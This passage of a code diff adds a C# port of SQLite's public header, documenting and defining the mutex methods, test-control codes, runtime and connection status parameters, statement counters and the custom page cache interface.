mutex more than once, the behavior is undefined. + ** SQLite will never exhibit + ** such behavior in its own use of mutexes.)^ + ** + ** ^(Some systems (for example, Windows 95) do not support the operation + ** implemented by sqlite3_mutex_try(). On those systems, sqlite3_mutex_try() + ** will always return SQLITE_BUSY. The SQLite core only ever uses + ** sqlite3_mutex_try() as an optimization so this is acceptable behavior.)^ + ** + ** ^The sqlite3_mutex_leave() routine exits a mutex that was + ** previously entered by the same thread. ^(The behavior + ** is undefined if the mutex is not currently entered by the + ** calling thread or is not currently allocated. SQLite will + ** never do either.)^ + ** + ** ^If the argument to sqlite3_mutex_enter(), sqlite3_mutex_try(), or + ** sqlite3_mutex_leave() is a NULL pointer, then all three routines + ** behave as no-ops. + ** + ** See also: [sqlite3_mutex_held()] and [sqlite3_mutex_notheld()]. + */ + //SQLITE_API sqlite3_mutex *sqlite3_mutex_alloc(int); + //SQLITE_API void sqlite3_mutex_free(sqlite3_mutex); + //SQLITE_API void sqlite3_mutex_enter(sqlite3_mutex); + //SQLITE_API int sqlite3_mutex_try(sqlite3_mutex); + //SQLITE_API void sqlite3_mutex_leave(sqlite3_mutex); + + /* + ** CAPI3REF: Mutex Methods Object + ** + ** An instance of this structure defines the low-level routines + ** used to allocate and use mutexes. + ** + ** Usually, the default mutex implementations provided by SQLite are + ** sufficient, however the user has the option of substituting a custom + ** implementation for specialized deployments or systems for which SQLite + ** does not provide a suitable implementation. In this case, the user + ** creates and populates an instance of this structure to pass + ** to sqlite3_config() along with the [SQLITE_CONFIG_MUTEX] option. + ** Additionally, an instance of this structure can be used as an + ** output variable when querying the system for the current mutex + ** implementation, using the [SQLITE_CONFIG_GETMUTEX] option. + ** + ** ^The xMutexInit method defined by this structure is invoked as + ** part of system initialization by the sqlite3_initialize() function. + ** ^The xMutexInit routine is called by SQLite exactly once for each + ** effective call to [sqlite3_initialize()]. + ** + ** ^The xMutexEnd method defined by this structure is invoked as + ** part of system shutdown by the sqlite3_shutdown() function. The + ** implementation of this method is expected to release all outstanding + ** resources obtained by the mutex methods implementation, especially + ** those obtained by the xMutexInit method. ^The xMutexEnd() + ** interface is invoked exactly once for each call to [sqlite3_shutdown()]. + ** + ** ^(The remaining seven methods defined by this structure (xMutexAlloc, + ** xMutexFree, xMutexEnter, xMutexTry, xMutexLeave, xMutexHeld and + ** xMutexNotheld) implement the following interfaces (respectively): + ** + **
    + **
  • [sqlite3_mutex_alloc()]
  • + **
  • [sqlite3_mutex_free()]
  • + **
  • [sqlite3_mutex_enter()]
  • + **
  • [sqlite3_mutex_try()]
  • + **
  • [sqlite3_mutex_leave()]
  • + **
  • [sqlite3_mutex_held()]
  • + **
  • [sqlite3_mutex_notheld()]
  • + **
)^ + ** + ** The only difference is that the public sqlite3_XXX functions enumerated + ** above silently ignore any invocations that pass a NULL pointer instead + ** of a valid mutex handle. The implementations of the methods defined + ** by this structure are not required to handle this case, the results + ** of passing a NULL pointer instead of a valid mutex handle are undefined + ** (i.e. it is acceptable to provide an implementation that segfaults if + ** it is passed a NULL pointer). + ** + ** The xMutexInit() method must be threadsafe. ^It must be harmless to + ** invoke xMutexInit() multiple times within the same process and without + ** intervening calls to xMutexEnd(). Second and subsequent calls to + ** xMutexInit() must be no-ops. + ** + ** ^xMutexInit() must not use SQLite memory allocation ([sqlite3_malloc()] + ** and its associates). ^Similarly, xMutexAlloc() must not use SQLite memory + ** allocation for a static mutex. ^However xMutexAlloc() may use SQLite + ** memory allocation for a fast or recursive mutex. + ** + ** ^SQLite will invoke the xMutexEnd() method when [sqlite3_shutdown()] is + ** called, but only if the prior call to xMutexInit returned SQLITE_OK. + ** If xMutexInit fails in any way, it is expected to clean up after itself + ** prior to returning. + */ + //typedef struct sqlite3_mutex_methods sqlite3_mutex_methods; + //struct sqlite3_mutex_methods { + // int (*xMutexInit)(void); + // int (*xMutexEnd)(void); + // sqlite3_mutex *(*xMutexAlloc)(int); + // void (*xMutexFree)(sqlite3_mutex ); + // void (*xMutexEnter)(sqlite3_mutex ); + // int (*xMutexTry)(sqlite3_mutex ); + // void (*xMutexLeave)(sqlite3_mutex ); + // int (*xMutexHeld)(sqlite3_mutex ); + // int (*xMutexNotheld)(sqlite3_mutex ); + //}; + public class sqlite3_mutex_methods + { + public dxMutexInit xMutexInit; + public dxMutexEnd xMutexEnd; + public dxMutexAlloc xMutexAlloc; + public dxMutexFree xMutexFree; + public dxMutexEnter xMutexEnter; + public dxMutexTry xMutexTry; + public dxMutexLeave xMutexLeave; + public dxMutexHeld xMutexHeld; + public dxMutexNotheld xMutexNotheld; + + public sqlite3_mutex_methods() + { + } + + public sqlite3_mutex_methods( + dxMutexInit xMutexInit, + dxMutexEnd xMutexEnd, + dxMutexAlloc xMutexAlloc, + dxMutexFree xMutexFree, + dxMutexEnter xMutexEnter, + dxMutexTry xMutexTry, + dxMutexLeave xMutexLeave, + dxMutexHeld xMutexHeld, + dxMutexNotheld xMutexNotheld + ) + { + this.xMutexInit = xMutexInit; + this.xMutexEnd = xMutexEnd; + this.xMutexAlloc = xMutexAlloc; + this.xMutexFree = xMutexFree; + this.xMutexEnter = xMutexEnter; + this.xMutexTry = xMutexTry; + this.xMutexLeave = xMutexLeave; + this.xMutexHeld = xMutexHeld; + this.xMutexNotheld = xMutexNotheld; + } + +//Copy sqlite3_mutex_methods from existing + public void Copy( sqlite3_mutex_methods cp ) + { + Debug.Assert( cp != null ); + this.xMutexInit = cp.xMutexInit; + this.xMutexEnd = cp.xMutexEnd; + this.xMutexAlloc = cp.xMutexAlloc; + this.xMutexFree = cp.xMutexFree; + this.xMutexEnter = cp.xMutexEnter; + this.xMutexTry = cp.xMutexTry; + this.xMutexLeave = cp.xMutexLeave; + this.xMutexHeld = cp.xMutexHeld; + this.xMutexNotheld = cp.xMutexNotheld; + } + } + /* + ** CAPI3REF: Mutex Verification Routines + ** + ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routines + ** are intended for use inside Debug.Assert() statements. ^The SQLite core + ** never uses these routines except inside an Debug.Assert() and applications + ** are advised to follow the lead of the core. ^The SQLite core only + ** provides implementations for these routines when it is compiled + ** with the SQLITE_DEBUG flag. ^External mutex implementations + ** are only required to provide these routines if SQLITE_DEBUG is + ** defined and if NDEBUG is not defined. + ** + ** ^These routines should return true if the mutex in their argument + ** is held or not held, respectively, by the calling thread. + ** + ** ^The implementation is not required to provided versions of these + ** routines that actually work. If the implementation does not provide working + ** versions of these routines, it should at least provide stubs that always + ** return true so that one does not get spurious assertion failures. + ** + ** ^If the argument to sqlite3_mutex_held() is a NULL pointer then + ** the routine should return 1. This seems counter-intuitive since + ** clearly the mutex cannot be held if it does not exist. But + ** the reason the mutex does not exist is because the build is not + ** using mutexes. And we do not want the Debug.Assert() containing the + ** call to sqlite3_mutex_held() to fail, so a non-zero return is + ** the appropriate thing to do. ^The sqlite3_mutex_notheld() + ** interface should also return 1 when given a NULL pointer. + */ + //#if !NDEBUG + //SQLITE_API int sqlite3_mutex_held(sqlite3_mutex); + //SQLITE_API int sqlite3_mutex_notheld(sqlite3_mutex); + //#endif + + /* + ** CAPI3REF: Mutex Types + ** + ** The [sqlite3_mutex_alloc()] interface takes a single argument + ** which is one of these integer constants. + ** + ** The set of static mutexes may change from one SQLite release to the + ** next. Applications that override the built-in mutex logic must be + ** prepared to accommodate additional static mutexes. + */ + //#define SQLITE_MUTEX_FAST 0 + //#define SQLITE_MUTEX_RECURSIVE 1 + //#define SQLITE_MUTEX_STATIC_MASTER 2 + //#define SQLITE_MUTEX_STATIC_MEM 3 /* sqlite3_malloc() */ + //#define SQLITE_MUTEX_STATIC_MEM2 4 /* NOT USED */ + //#define SQLITE_MUTEX_STATIC_OPEN 4 /* sqlite3BtreeOpen() */ + //#define SQLITE_MUTEX_STATIC_PRNG 5 /* sqlite3_random() */ + //#define SQLITE_MUTEX_STATIC_LRU 6 /* lru page list */ + //#define SQLITE_MUTEX_STATIC_LRU2 7 /* NOT USED */ + //#define SQLITE_MUTEX_STATIC_PMEM 7 /* sqlite3PageMalloc() */ + const int SQLITE_MUTEX_FAST = 0; + const int SQLITE_MUTEX_RECURSIVE = 1; + const int SQLITE_MUTEX_STATIC_MASTER = 2; + const int SQLITE_MUTEX_STATIC_MEM = 3; + const int SQLITE_MUTEX_STATIC_MEM2 = 4; + const int SQLITE_MUTEX_STATIC_OPEN = 4; + const int SQLITE_MUTEX_STATIC_PRNG = 5; + const int SQLITE_MUTEX_STATIC_LRU = 6; + const int SQLITE_MUTEX_STATIC_LRU2 = 7; + const int SQLITE_MUTEX_STATIC_PMEM = 7; + + /* + ** CAPI3REF: Retrieve the mutex for a database connection + ** + ** ^This interface returns a pointer the [sqlite3_mutex] object that + ** serializes access to the [database connection] given in the argument + ** when the [threading mode] is Serialized. + ** ^If the [threading mode] is Single-thread or Multi-thread then this + ** routine returns a NULL pointer. + */ + //SQLITE_API sqlite3_mutex *sqlite3_db_mutex(sqlite3); + + /* + ** CAPI3REF: Low-Level Control Of Database Files + ** + ** ^The [sqlite3_file_control()] interface makes a direct call to the + ** xFileControl method for the [sqlite3_io_methods] object associated + ** with a particular database identified by the second argument. ^The + ** name of the database is "main" for the main database or "temp" for the + ** TEMP database, or the name that appears after the AS keyword for + ** databases that are added using the [ATTACH] SQL command. + ** ^A NULL pointer can be used in place of "main" to refer to the + ** main database file. + ** ^The third and fourth parameters to this routine + ** are passed directly through to the second and third parameters of + ** the xFileControl method. ^The return value of the xFileControl + ** method becomes the return value of this routine. + ** + ** ^The SQLITE_FCNTL_FILE_POINTER value for the op parameter causes + ** a pointer to the underlying [sqlite3_file] object to be written into + ** the space pointed to by the 4th parameter. ^The SQLITE_FCNTL_FILE_POINTER + ** case is a short-circuit path which does not actually invoke the + ** underlying sqlite3_io_methods.xFileControl method. + ** + ** ^If the second parameter (zDbName) does not match the name of any + ** open database file, then SQLITE_ERROR is returned. ^This error + ** code is not remembered and will not be recalled by [sqlite3_errcode()] + ** or [sqlite3_errmsg()]. The underlying xFileControl method might + ** also return SQLITE_ERROR. There is no way to distinguish between + ** an incorrect zDbName and an SQLITE_ERROR return from the underlying + ** xFileControl method. + ** + ** See also: [SQLITE_FCNTL_LOCKSTATE] + */ + //SQLITE_API int sqlite3_file_control(sqlite3*, string zDbName, int op, void); + + /* + ** CAPI3REF: Testing Interface + ** + ** ^The sqlite3_test_control() interface is used to read out internal + ** state of SQLite and to inject faults into SQLite for testing + ** purposes. ^The first parameter is an operation code that determines + ** the number, meaning, and operation of all subsequent parameters. + ** + ** This interface is not for use by applications. It exists solely + ** for verifying the correct operation of the SQLite library. Depending + ** on how the SQLite library is compiled, this interface might not exist. + ** + ** The details of the operation codes, their meanings, the parameters + ** they take, and what they do are all subject to change without notice. + ** Unlike most of the SQLite API, this function is not guaranteed to + ** operate consistently from one release to the next. + */ + //SQLITE_API int sqlite3_test_control(int op, ...); + + /* + ** CAPI3REF: Testing Interface Operation Codes + ** + ** These constants are the valid operation code parameters used + ** as the first argument to [sqlite3_test_control()]. + ** + ** These parameters and their meanings are subject to change + ** without notice. These values are for testing purposes only. + ** Applications should not use any of these parameters or the + ** [sqlite3_test_control()] interface. + */ + //#define SQLITE_TESTCTRL_FIRST 5 + //#define SQLITE_TESTCTRL_PRNG_SAVE 5 + //#define SQLITE_TESTCTRL_PRNG_RESTORE 6 + //#define SQLITE_TESTCTRL_PRNG_RESET 7 + //#define SQLITE_TESTCTRL_BITVEC_TEST 8 + //#define SQLITE_TESTCTRL_FAULT_INSTALL 9 + //#define SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS 10 + //#define SQLITE_TESTCTRL_PENDING_BYTE 11 + //#define SQLITE_TESTCTRL_ASSERT 12 + //#define SQLITE_TESTCTRL_ALWAYS 13 + //#define SQLITE_TESTCTRL_RESERVE 14 + //#define SQLITE_TESTCTRL_OPTIMIZATIONS 15 + //#define SQLITE_TESTCTRL_ISKEYWORD 16 + //#define SQLITE_TESTCTRL_PGHDRSZ 17 + //#define SQLITE_TESTCTRL_SCRATCHMALLOC 18 + //#define SQLITE_TESTCTRL_LOCALTIME_FAULT 19 + //#define SQLITE_TESTCTRL_LAST 19 + const int SQLITE_TESTCTRL_FIRST = 5; + const int SQLITE_TESTCTRL_PRNG_SAVE = 5; + const int SQLITE_TESTCTRL_PRNG_RESTORE = 6; + const int SQLITE_TESTCTRL_PRNG_RESET = 7; + const int SQLITE_TESTCTRL_BITVEC_TEST = 8; + const int SQLITE_TESTCTRL_FAULT_INSTALL = 9; + const int SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS = 10; + const int SQLITE_TESTCTRL_PENDING_BYTE = 11; + const int SQLITE_TESTCTRL_ASSERT = 12; + const int SQLITE_TESTCTRL_ALWAYS = 13; + const int SQLITE_TESTCTRL_RESERVE = 14; + const int SQLITE_TESTCTRL_OPTIMIZATIONS = 15; + const int SQLITE_TESTCTRL_ISKEYWORD = 16; + const int SQLITE_TESTCTRL_PGHDRSZ = 17; + const int SQLITE_TESTCTRL_SCRATCHMALLOC = 18; + const int SQLITE_TESTCTRL_LOCALTIME_FAULT = 19; + const int SQLITE_TESTCTRL_LAST = 19; + + /* + ** CAPI3REF: SQLite Runtime Status + ** + ** ^This interface is used to retrieve runtime status information + ** about the performance of SQLite, and optionally to reset various + ** highwater marks. ^The first argument is an integer code for + ** the specific parameter to measure. ^(Recognized integer codes + ** are of the form [status parameters | SQLITE_STATUS_...].)^ + ** ^The current value of the parameter is returned into *pCurrent. + ** ^The highest recorded value is returned in *pHighwater. ^If the + ** resetFlag is true, then the highest record value is reset after + ** *pHighwater is written. ^(Some parameters do not record the highest + ** value. For those parameters + ** nothing is written into *pHighwater and the resetFlag is ignored.)^ + ** ^(Other parameters record only the highwater mark and not the current + ** value. For these latter parameters nothing is written into *pCurrent.)^ + ** + ** ^The sqlite3_status() routine returns SQLITE_OK on success and a + ** non-zero [error code] on failure. + ** + ** This routine is threadsafe but is not atomic. This routine can be + ** called while other threads are running the same or different SQLite + ** interfaces. However the values returned in *pCurrent and + ** *pHighwater reflect the status of SQLite at different points in time + ** and it is possible that another thread might change the parameter + ** in between the times when *pCurrent and *pHighwater are written. + ** + ** See also: [sqlite3_db_status()] + */ + //SQLITE_API int sqlite3_status(int op, int *pCurrent, int *pHighwater, int resetFlag); + + + /* + ** CAPI3REF: Status Parameters + ** KEYWORDS: {status parameters} + ** + ** These integer constants designate various run-time status parameters + ** that can be returned by [sqlite3_status()]. + ** + **
+ ** [[SQLITE_STATUS_MEMORY_USED]] ^(
SQLITE_STATUS_MEMORY_USED
+ **
This parameter is the current amount of memory checked out + ** using [sqlite3_malloc()], either directly or indirectly. The + ** figure includes calls made to [sqlite3_malloc()] by the application + ** and internal memory usage by the SQLite library. Scratch memory + ** controlled by [SQLITE_CONFIG_SCRATCH] and auxiliary page-cache + ** memory controlled by [SQLITE_CONFIG_PAGECACHE] is not included in + ** this parameter. The amount returned is the sum of the allocation + ** sizes as reported by the xSize method in [sqlite3_mem_methods].
)^ + ** + ** [[SQLITE_STATUS_MALLOC_SIZE]] ^(
SQLITE_STATUS_MALLOC_SIZE
+ **
This parameter records the largest memory allocation request + ** handed to [sqlite3_malloc()] or [sqlite3_realloc()] (or their + ** internal equivalents). Only the value returned in the + ** *pHighwater parameter to [sqlite3_status()] is of interest. + ** The value written into the *pCurrent parameter is undefined.
)^ + ** + ** [[SQLITE_STATUS_MALLOC_COUNT]] ^(
SQLITE_STATUS_MALLOC_COUNT
+ **
This parameter records the number of separate memory allocations + ** currently checked out.
)^ + ** + ** [[SQLITE_STATUS_PAGECACHE_USED]] ^(
SQLITE_STATUS_PAGECACHE_USED
+ **
This parameter returns the number of pages used out of the + ** [pagecache memory allocator] that was configured using + ** [SQLITE_CONFIG_PAGECACHE]. The + ** value returned is in pages, not in bytes.
)^ + ** + ** [[SQLITE_STATUS_PAGECACHE_OVERFLOW]] + ** ^(
SQLITE_STATUS_PAGECACHE_OVERFLOW
+ **
This parameter returns the number of bytes of page cache + ** allocation which could not be satisfied by the [SQLITE_CONFIG_PAGECACHE] + ** buffer and where forced to overflow to [sqlite3_malloc()]. The + ** returned value includes allocations that overflowed because they + ** where too large (they were larger than the "sz" parameter to + ** [SQLITE_CONFIG_PAGECACHE]) and allocations that overflowed because + ** no space was left in the page cache.
)^ + ** + ** [[SQLITE_STATUS_PAGECACHE_SIZE]] ^(
SQLITE_STATUS_PAGECACHE_SIZE
+ **
This parameter records the largest memory allocation request + ** handed to [pagecache memory allocator]. Only the value returned in the + ** *pHighwater parameter to [sqlite3_status()] is of interest. + ** The value written into the *pCurrent parameter is undefined.
)^ + ** + ** [[SQLITE_STATUS_SCRATCH_USED]] ^(
SQLITE_STATUS_SCRATCH_USED
+ **
This parameter returns the number of allocations used out of the + ** [scratch memory allocator] configured using + ** [SQLITE_CONFIG_SCRATCH]. The value returned is in allocations, not + ** in bytes. Since a single thread may only have one scratch allocation + ** outstanding at time, this parameter also reports the number of threads + ** using scratch memory at the same time.
)^ + ** + ** [[SQLITE_STATUS_SCRATCH_OVERFLOW]] ^(
SQLITE_STATUS_SCRATCH_OVERFLOW
+ **
This parameter returns the number of bytes of scratch memory + ** allocation which could not be satisfied by the [SQLITE_CONFIG_SCRATCH] + ** buffer and where forced to overflow to [sqlite3_malloc()]. The values + ** returned include overflows because the requested allocation was too + ** larger (that is, because the requested allocation was larger than the + ** "sz" parameter to [SQLITE_CONFIG_SCRATCH]) and because no scratch buffer + ** slots were available. + **
)^ + ** + ** [[SQLITE_STATUS_SCRATCH_SIZE]] ^(
SQLITE_STATUS_SCRATCH_SIZE
+ **
This parameter records the largest memory allocation request + ** handed to [scratch memory allocator]. Only the value returned in the + ** *pHighwater parameter to [sqlite3_status()] is of interest. + ** The value written into the *pCurrent parameter is undefined.
)^ + ** + ** [[SQLITE_STATUS_PARSER_STACK]] ^(
SQLITE_STATUS_PARSER_STACK
+ **
This parameter records the deepest parser stack. It is only + ** meaningful if SQLite is compiled with [YYTRACKMAXSTACKDEPTH].
)^ + **
+ ** + ** New status parameters may be added from time to time. + */ + //#define SQLITE_STATUS_MEMORY_USED 0 + //#define SQLITE_STATUS_PAGECACHE_USED 1 + //#define SQLITE_STATUS_PAGECACHE_OVERFLOW 2 + //#define SQLITE_STATUS_SCRATCH_USED 3 + //#define SQLITE_STATUS_SCRATCH_OVERFLOW 4 + //#define SQLITE_STATUS_MALLOC_SIZE 5 + //#define SQLITE_STATUS_PARSER_STACK 6 + //#define SQLITE_STATUS_PAGECACHE_SIZE 7 + //#define SQLITE_STATUS_SCRATCH_SIZE 8 + //#define SQLITE_STATUS_MALLOC_COUNT 9 + const int SQLITE_STATUS_MEMORY_USED = 0; + const int SQLITE_STATUS_PAGECACHE_USED = 1; + const int SQLITE_STATUS_PAGECACHE_OVERFLOW = 2; + const int SQLITE_STATUS_SCRATCH_USED = 3; + const int SQLITE_STATUS_SCRATCH_OVERFLOW = 4; + const int SQLITE_STATUS_MALLOC_SIZE = 5; + const int SQLITE_STATUS_PARSER_STACK = 6; + const int SQLITE_STATUS_PAGECACHE_SIZE = 7; + const int SQLITE_STATUS_SCRATCH_SIZE = 8; + const int SQLITE_STATUS_MALLOC_COUNT = 9; + + /* + ** CAPI3REF: Database Connection Status + ** + ** ^This interface is used to retrieve runtime status information + ** about a single [database connection]. ^The first argument is the + ** database connection object to be interrogated. ^The second argument + ** is an integer constant, taken from the set of + ** [SQLITE_DBSTATUS options], that + ** determines the parameter to interrogate. The set of + ** [SQLITE_DBSTATUS options] is likely + ** to grow in future releases of SQLite. + ** + ** ^The current value of the requested parameter is written into *pCur + ** and the highest instantaneous value is written into *pHiwtr. ^If + ** the resetFlg is true, then the highest instantaneous value is + ** reset back down to the current value. + ** + ** ^The sqlite3_db_status() routine returns SQLITE_OK on success and a + ** non-zero [error code] on failure. + ** + ** See also: [sqlite3_status()] and [sqlite3_stmt_status()]. + */ + //SQLITE_API int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int resetFlg); + + /* + ** CAPI3REF: Status Parameters for database connections + ** KEYWORDS: {SQLITE_DBSTATUS options} + ** + ** These constants are the available integer "verbs" that can be passed as + ** the second argument to the [sqlite3_db_status()] interface. + ** + ** New verbs may be added in future releases of SQLite. Existing verbs + ** might be discontinued. Applications should check the return code from + ** [sqlite3_db_status()] to make sure that the call worked. + ** The [sqlite3_db_status()] interface will return a non-zero error code + ** if a discontinued or unsupported verb is invoked. + ** + **
+ ** [[SQLITE_DBSTATUS_LOOKASIDE_USED]] ^(
SQLITE_DBSTATUS_LOOKASIDE_USED
+ **
This parameter returns the number of lookaside memory slots currently + ** checked out.
)^ + ** + ** [[SQLITE_DBSTATUS_LOOKASIDE_HIT]] ^(
SQLITE_DBSTATUS_LOOKASIDE_HIT
+ **
This parameter returns the number malloc attempts that were + ** satisfied using lookaside memory. Only the high-water value is meaningful; + ** the current value is always zero.)^ + ** + ** [[SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE]] + ** ^(
SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE
+ **
This parameter returns the number malloc attempts that might have + ** been satisfied using lookaside memory but failed due to the amount of + ** memory requested being larger than the lookaside slot size. + ** Only the high-water value is meaningful; + ** the current value is always zero.)^ + ** + ** [[SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL]] + ** ^(
SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL
+ **
This parameter returns the number malloc attempts that might have + ** been satisfied using lookaside memory but failed due to all lookaside + ** memory already being in use. + ** Only the high-water value is meaningful; + ** the current value is always zero.)^ + ** + ** [[SQLITE_DBSTATUS_CACHE_USED]] ^(
SQLITE_DBSTATUS_CACHE_USED
+ **
This parameter returns the approximate number of of bytes of heap + ** memory used by all pager caches associated with the database connection.)^ + ** ^The highwater mark associated with SQLITE_DBSTATUS_CACHE_USED is always 0. + ** + ** [[SQLITE_DBSTATUS_SCHEMA_USED]] ^(
SQLITE_DBSTATUS_SCHEMA_USED
+ **
This parameter returns the approximate number of of bytes of heap + ** memory used to store the schema for all databases associated + ** with the connection - main, temp, and any [ATTACH]-ed databases.)^ + ** ^The full amount of memory used by the schemas is reported, even if the + ** schema memory is shared with other database connections due to + ** [shared cache mode] being enabled. + ** ^The highwater mark associated with SQLITE_DBSTATUS_SCHEMA_USED is always 0. + ** + ** [[SQLITE_DBSTATUS_STMT_USED]] ^(
SQLITE_DBSTATUS_STMT_USED
+ **
This parameter returns the approximate number of of bytes of heap + ** and lookaside memory used by all prepared statements associated with + ** the database connection.)^ + ** ^The highwater mark associated with SQLITE_DBSTATUS_STMT_USED is always 0. + **
+ **
+ */ + //#define SQLITE_DBSTATUS_LOOKASIDE_USED 0 + //#define SQLITE_DBSTATUS_CACHE_USED 1 + //#define SQLITE_DBSTATUS_SCHEMA_USED 2 + //#define SQLITE_DBSTATUS_STMT_USED 3 + //#define SQLITE_DBSTATUS_LOOKASIDE_HIT 4 + //#define SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE 5 + //#define SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL 6 + //#define SQLITE_DBSTATUS_MAX 6 /* Largest defined DBSTATUS */ + const int SQLITE_DBSTATUS_LOOKASIDE_USED = 0; + const int SQLITE_DBSTATUS_CACHE_USED = 1; + const int SQLITE_DBSTATUS_SCHEMA_USED = 2; + const int SQLITE_DBSTATUS_STMT_USED = 3; + const int SQLITE_DBSTATUS_LOOKASIDE_HIT = 4; + const int SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE = 5; + const int SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL = 6; + const int SQLITE_DBSTATUS_MAX = 6; + + + /* + ** CAPI3REF: Prepared Statement Status + ** + ** ^(Each prepared statement maintains various + ** [SQLITE_STMTSTATUS counters] that measure the number + ** of times it has performed specific operations.)^ These counters can + ** be used to monitor the performance characteristics of the prepared + ** statements. For example, if the number of table steps greatly exceeds + ** the number of table searches or result rows, that would tend to indicate + ** that the prepared statement is using a full table scan rather than + ** an index. + ** + ** ^(This interface is used to retrieve and reset counter values from + ** a [prepared statement]. The first argument is the prepared statement + ** object to be interrogated. The second argument + ** is an integer code for a specific [SQLITE_STMTSTATUS counte + ** to be interrogated.)^ + ** ^The current value of the requested counter is returned. + ** ^If the resetFlg is true, then the counter is reset to zero after this + ** interface call returns. + ** + ** See also: [sqlite3_status()] and [sqlite3_db_status()]. + */ + //SQLITE_API int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg); + + /* + ** CAPI3REF: Status Parameters for prepared statements + ** KEYWORDS: {SQLITE_STMTSTATUS counter} {SQLITE_STMTSTATUS counters} + ** + ** These preprocessor macros define integer codes that name counter + ** values associated with the [sqlite3_stmt_status()] interface. + ** The meanings of the various counters are as follows: + ** + **
+ ** [[SQLITE_STMTSTATUS_FULLSCAN_STEP]]
SQLITE_STMTSTATUS_FULLSCAN_STEP
+ **
^This is the number of times that SQLite has stepped forward in + ** a table as part of a full table scan. Large numbers for this counter + ** may indicate opportunities for performance improvement through + ** careful use of indices.
+ ** + ** [[SQLITE_STMTSTATUS_SORT]]
SQLITE_STMTSTATUS_SORT
+ **
^This is the number of sort operations that have occurred. + ** A non-zero value in this counter may indicate an opportunity to + ** improvement performance through careful use of indices.
+ ** + ** [[SQLITE_STMTSTATUS_AUTOINDEX]]
SQLITE_STMTSTATUS_AUTOINDEX
+ **
^This is the number of rows inserted into transient indices that + ** were created automatically in order to help joins run faster. + ** A non-zero value in this counter may indicate an opportunity to + ** improvement performance by adding permanent indices that do not + ** need to be reinitialized each time the statement is run.
+ ** + **
+ */ + //#define SQLITE_STMTSTATUS_FULLSCAN_STEP 1 + //#define SQLITE_STMTSTATUS_SORT 2 + //#define SQLITE_STMTSTATUS_AUTOINDEX 3 + const int SQLITE_STMTSTATUS_FULLSCAN_STEP = 1; + const int SQLITE_STMTSTATUS_SORT = 2; + const int SQLITE_STMTSTATUS_AUTOINDEX = 3; + + /* + ** CAPI3REF: Custom Page Cache Object + ** + ** The sqlite3_pcache type is opaque. It is implemented by + ** the pluggable module. The SQLite core has no knowledge of + ** its size or internal structure and never deals with the + ** sqlite3_pcache object except by holding and passing pointers + ** to the object. + ** + ** See [sqlite3_pcache_methods] for additional information. + */ + //typedef struct sqlite3_pcache sqlite3_pcache; + + /* + ** CAPI3REF: Application Defined Page Cache. + ** KEYWORDS: {page cache} + ** + ** ^(The [sqlite3_config]([SQLITE_CONFIG_PCACHE], ...) interface can + ** register an alternative page cache implementation by passing in an + ** instance of the sqlite3_pcache_methods structure.)^ + ** In many applications, most of the heap memory allocated by + ** SQLite is used for the page cache. + ** By implementing a + ** custom page cache using this API, an application can better control + ** the amount of memory consumed by SQLite, the way in which + ** that memory is allocated and released, and the policies used to + ** determine exactly which parts of a database file are cached and for + ** how long. + ** + ** The alternative page cache mechanism is an + ** extreme measure that is only needed by the most demanding applications. + ** The built-in page cache is recommended for most uses. + ** + ** ^(The contents of the sqlite3_pcache_methods structure are copied to an + ** internal buffer by SQLite within the call to [sqlite3_config]. Hence + ** the application may discard the parameter after the call to + ** [sqlite3_config()] returns.)^ + ** + ** [[the xInit() page cache method]] + ** ^(The xInit() method is called once for each effective + ** call to [sqlite3_initialize()])^ + ** (usually only once during the lifetime of the process). ^(The xInit() + ** method is passed a copy of the sqlite3_pcache_methods.pArg value.)^ + ** The intent of the xInit() method is to set up global data structures + ** required by the custom page cache implementation. + ** ^(If the xInit() method is NULL, then the + ** built-in default page cache is used instead of the application defined + ** page cache.)^ + ** + ** [[the xShutdown() page cache method]] + ** ^The xShutdown() method is called by [sqlite3_shutdown()]. + ** It can be used to clean up + ** any outstanding resources before process shutdown, if required. + ** ^The xShutdown() method may be NULL. + ** + ** ^SQLite automatically serializes calls to the xInit method, + ** so the xInit method need not be threadsafe. ^The + ** xShutdown method is only called from [sqlite3_shutdown()] so it does + ** not need to be threadsafe either. All other methods must be threadsafe + ** in multithreaded applications. + ** + ** ^SQLite will never invoke xInit() more than once without an intervening + ** call to xShutdown(). + ** + ** [[the xCreate() page cache methods]] + ** ^SQLite invokes the xCreate() method to construct a new cache instance. + ** SQLite will typically create one cache instance for each open database file, + ** though this is not guaranteed. ^The + ** first parameter, szPage, is the size in bytes of the pages that must + ** be allocated by the cache. ^szPage will not be a power of two. ^szPage + ** will the page size of the database file that is to be cached plus an + ** increment (here called "R") of less than 250. SQLite will use the + ** extra R bytes on each page to store metadata about the underlying + ** database page on disk. The value of R depends + ** on the SQLite version, the target platform, and how SQLite was compiled. + ** ^(R is constant for a particular build of SQLite. Except, there are two + ** distinct values of R when SQLite is compiled with the proprietary + ** ZIPVFS extension.)^ ^The second argument to + ** xCreate(), bPurgeable, is true if the cache being created will + ** be used to cache database pages of a file stored on disk, or + ** false if it is used for an in-memory database. The cache implementation + ** does not have to do anything special based with the value of bPurgeable; + ** it is purely advisory. ^On a cache where bPurgeable is false, SQLite will + ** never invoke xUnpin() except to deliberately delete a page. + ** ^In other words, calls to xUnpin() on a cache with bPurgeable set to + ** false will always have the "discard" flag set to true. + ** ^Hence, a cache created with bPurgeable false will + ** never contain any unpinned pages. + ** + ** [[the xCachesize() page cache method]] + ** ^(The xCachesize() method may be called at any time by SQLite to set the + ** suggested maximum cache-size (number of pages stored by) the cache + ** instance passed as the first argument. This is the value configured using + ** the SQLite "[PRAGMA cache_size]" command.)^ As with the bPurgeable + ** parameter, the implementation is not required to do anything with this + ** value; it is advisory only. + ** + ** [[the xPagecount() page cache methods]] + ** The xPagecount() method must return the number of pages currently + ** stored in the cache, both pinned and unpinned. + ** + ** [[the xFetch() page cache methods]] + ** The xFetch() method locates a page in the cache and returns a pointer to + ** the page, or a NULL pointer. + ** A 